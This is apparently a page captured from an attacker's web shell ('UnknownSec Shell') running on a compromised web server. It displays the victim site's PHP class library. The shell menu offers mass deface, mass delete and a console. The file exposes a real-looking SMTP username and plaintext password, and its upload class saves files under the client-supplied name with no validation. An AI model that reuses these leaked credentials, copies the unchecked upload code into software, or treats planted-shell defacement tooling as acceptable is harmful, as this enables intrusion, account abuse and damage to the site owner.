shell bypass 403
UnknownSec Shell
:
/
home
/
delvin
/
public_html
/
includes
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
class_lib.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; /* * Libary of form object classes */ class Select_month { var $monthSelect; //== the select object output from the method //F=January, M=Jan public function __construct($objName, $F_or_M, $month, $nullValue, $javascript, $formName){ $this->monthSelect = "<select name='".$objName."' ".$javascript."> <option value=''>".$nullValue."</option>"; for($i=1; $i<=12; $i++){ $monTS = mktime(8,0,0,$i,1,date('Y')); $mon = date($F_or_M, $monTS); $this->monthSelect.= "<option value='".$i."'"; if ($month == $i){ $this->monthSelect.=" selected"; } $this->monthSelect.= ">".$mon."</option>"; } $this->monthSelect.= "</select>"; echo $this->monthSelect." "; } } class Select_date{ var $dateSelect; //==the select object output from the method public function __construct($objName, $date, $nullValue, $javascript, $formName){ $this->dateSelect = "<select name='".$objName."' ".$javascript."> <option value=''>".$nullValue."</option>"; for ($i=1; $i<=31; $i++){ $this->dateSelect .= "<option value='".$i."'"; if ($i == $date){ $this->dateSelect .= " selected"; } $this->dateSelect .= ">".$i."</option>"; } $this->dateSelect .= "</select>"; echo $this->dateSelect." "; } } class Select_year{ var $yearSelect; //=== the select object output from the method public function __construct($objName, $y1, $y2, $year, $nullValue, $javascript, $formName){ $this->yearSelect = "<select name='".$objName."' id='".$objName."' ".$javascript."> <option value=''>".$nullValue."</option>"; if ($y1 <= $y2){ for($i = $y1; $i <= $y2; $i++){ $this->yearSelect .= "<option value='".$i."'"; if ($i == $year){ $this->yearSelect .= " selected"; } $this->yearSelect .= ">".$i."</option>"; } } else { for($i = $y1; $i >= $y2; $i--){ $this->yearSelect .= "<option value='".$i."'"; if ($i == $year){ $this->yearSelect .= " selected"; } $this->yearSelect .= ">".$i."</option>"; } } $this->yearSelect .= "</select>"; echo $this->yearSelect; } } class Select_hours{ var $hourSelect; public function __construct($objName, $tFormat, $hour, $nullValue, $javascript, $formName, $class){ if ($tFormat == 'g'){ $n = 12; } else { $n = 24; } $this->hourSelect = " <select name='".$objName."' id='".$objName."' ".$javascript." "; if ($class != ''){ $this->hourSelect .= "class='".$class."'"; } $this->hourSelect .= "> <option value=''>".$nullValue."</option>"; for($i=1; $i <= $n; $i++){ $this->hourSelect .= " <option value='".$i."'"; if ($hour == $i){ $this->hourSelect .= " selected"; } $this->hourSelect .= ">".$i."</option>"; } $this->hourSelect .= " </select>"; echo $this->hourSelect; } } class Select_minutes{ var $minSelect; public function __construct($objName, $incr, $min, $nullValue, $javascript, $formName, $class){ $this->minSelect = " <select name='".$objName."' id='".$objName."' ".$javascript." "; if ($class != ''){ $this->minSelect .= "class='".$class."'"; } $this->minSelect .= "> <option value=''>".$nullValue."</option>"; for ($i=0; $i <= 59; $i = $i + $incr){ $this->minSelect .= " <option value='". str_pad($i,2,'0',STR_PAD_LEFT)."'"; if ($min == $i && $min != ''){ $this->minSelect .= " selected"; } $this->minSelect .= ">". str_pad($i,2,'0',STR_PAD_LEFT)."</option>"; } $this->minSelect .= " </select>"; echo $this->minSelect; } } class Select_AMPM { var $ampmSelect; public function __construct($objName, $AMPM, $nullValue, $javascript, $formName, $class){ $this->ampmArr = array("AM", "PM"); $this->ampmSelect = " <select name='".$objName."' id='".$objName."' ".$javascript." "; if ($class != ''){ $this->ampmSelect .= "class='".$class."'"; } $this->ampmSelect .= "> <option value=''>".$nullValue."</option>"; foreach ($this->ampmArr as $value){ $this->ampmSelect .= " <option value='".$value."'"; if ($AMPM == $value && $AMPM != ''){ $this->ampmSelect .= " selected"; } $this->ampmSelect .= ">".$value."</option>"; } $this->ampmSelect .= " </select>"; echo $this->ampmSelect; } } // This class builds a select form object of numerical values class SelectObjNum{ var $objName; var $value1; //starting value var $value2; //ending value var $increment; var $new_value; //selected value var $selectObject; var $ordinal_suffix; //Y or N var $javascript; // ie: onchange = 'submit(this)' var $style; // to apply a css style to the object public function __construct($objName, $value1, $value2, $increment, $value, $ordinal_suffix, $nullValue, $javascript, $formName, $style){ $this->objName = $objName; $this->value1 = $value1; $this->value2 = $value2; $this->increment = $increment; $this->new_value = $value; $this->ordinal_suffix = $ordinal_suffix; $this->selectObject = " <select name='".$this->objName."' id='".$this->objName."' ".$javascript; if ($this->style != ''){ $this->selectObject .= " class='".$this->style."' "; } $this->selectObject .= "> <option value=''>" . $nullValue ."</option>"; if ($this->value1 <= $this->value1){ for ($i = $value1; $i <= $value2; $i = $i + $increment){ $this->selectObject .= " <option value='$i'"; if ($i == $this->new_value){ $this->selectObject .= " selected"; } $this->selectObject .= ">".$i; if ($this->ordinal_suffix == 'Y'){ $tempDateTS = strtotime("May ".$i.", 2016"); $ord_suff = date("S", $tempDateTS); $this->selectObject .= $ord_suff; } $this->selectObject .= "</option>"; } } else if ($this->value1 > $this->value2){ for ($i = $value1; $i >= $value2; $i = $i - $increment){ $this->selectObject .= " <option value='$i'"; if ($i == $this->new_value){ $this->selectObject .= " selected"; } $this->selectObject .= ">".$i; if ($this->ordinal_suffix == 'Y'){ $tempDateTS = strtotime("May ".$i.", 2016"); $ord_suff = date("S", $tempDateTS); $this->selectObject .= $ord_suff; } $this->selectObject .= "</option>"; } } $this->selectObject .= " </select>"; echo $this->selectObject; } } // for non-numerical values, this class builds a form select object from Array values class SelectObjArr{ var $selectObject; var $javascript; //ie. onchange='submit(this.form)' public function __construct($objName, $valuesArr, $selected, $nullValue, $multiple, $javascript, $formName, $style){ $this->selectObject = " <select "; if ($multiple != ''){ $this->selectObject .= "name='".$objName."[]' id='".$objName."[]' multiple "; } else { $this->selectObject .= "name='".$objName."' id='".$objName."' "; } if ($style != ''){ $this->selectObject .= "class='".$style."' "; } $this->selectObject .= " ".$javascript."> <option value=''>".$nullValue."</option>"; if (count($valuesArr) > 0){ foreach ($valuesArr as $key => $value){ $this->selectObject .= " <option value='".$key."'"; if (is_array($selected)){ if (in_array($key, $selected)){ $this->selectObject .= ' selected'; } } else { if ($key == $selected){ $this->selectObject .= " selected"; } } $this->selectObject .= ">".$value."</option>"; } } $this->selectObject .= " </select> "; echo $this->selectObject; } } class Upload_File { public function __construct($fileObjName, $path, $newfilename){ $Template = new Template; if ($newfilename != ''){ $uploadfile = $path.$newfilename; } else { $uploadfile = $path.$_FILES[$fileObjName]['name']; } if (move_uploaded_file($_FILES[$fileObjName]['tmp_name'], $uploadfile)) { return true; } else { return false; } } } /* auto-generate email alert to admin param string return null */ class Send_Email { var $subject; var $message; public function __construct($sendto, $subject, $message, $Cc, $Bcc){ $smtp_host = "mail.delv-in.com"; $smtp_user = "info@delv-in.com"; $smtp_pass = "1[-XO{JYjkdl"; require_once 'PHPMailer/src/Exception.php'; require_once 'PHPMailer/src/PHPMailer.php'; require_once 'PHPMailer/src/SMTP.php'; $mail = new PHPMailer(true); try { //Server settings // $mail->SMTPDebug = 2; // Enable verbose debug output $mail->isSMTP(); // Set mailer to use SMTP $mail->Host = $smtp_host; // Specify main and backup SMTP servers $mail->SMTPAuth = true; // Enable SMTP authentication $mail->Username = $smtp_user; // SMTP username $mail->Password = $smtp_pass; // SMTP password $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted $mail->Port = 587; // TCP port to connect to //Recipients $mail->setFrom('info@delv-in.com', 'DEVLIN'); // Name is optional $mail->addAddress($sendto, ''); // Add a recipient // $mail->addAddress('cindylyoung@me.com', ''); if ($Cc != ''){ $mail->addCC($Cc); } if ($Bcc != ''){ $mail->addBCC($Bcc); } //Attachments // $mail->addAttachment('/var/tmp/file.tar.gz'); // Add attachments // $mail->addAttachment('/tmp/image.jpg', 'new.jpg'); // Optional name $message = "<style> p { font-size: 14px; } </style>" . $message; //Content $mail->isHTML(true); // Set email format to HTML $mail->Subject = $subject; $mail->Body = $message; // $mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; $mail->send(); return true; } catch (Exception $e) { return FALSE; } } }
© 2026 UnknownSec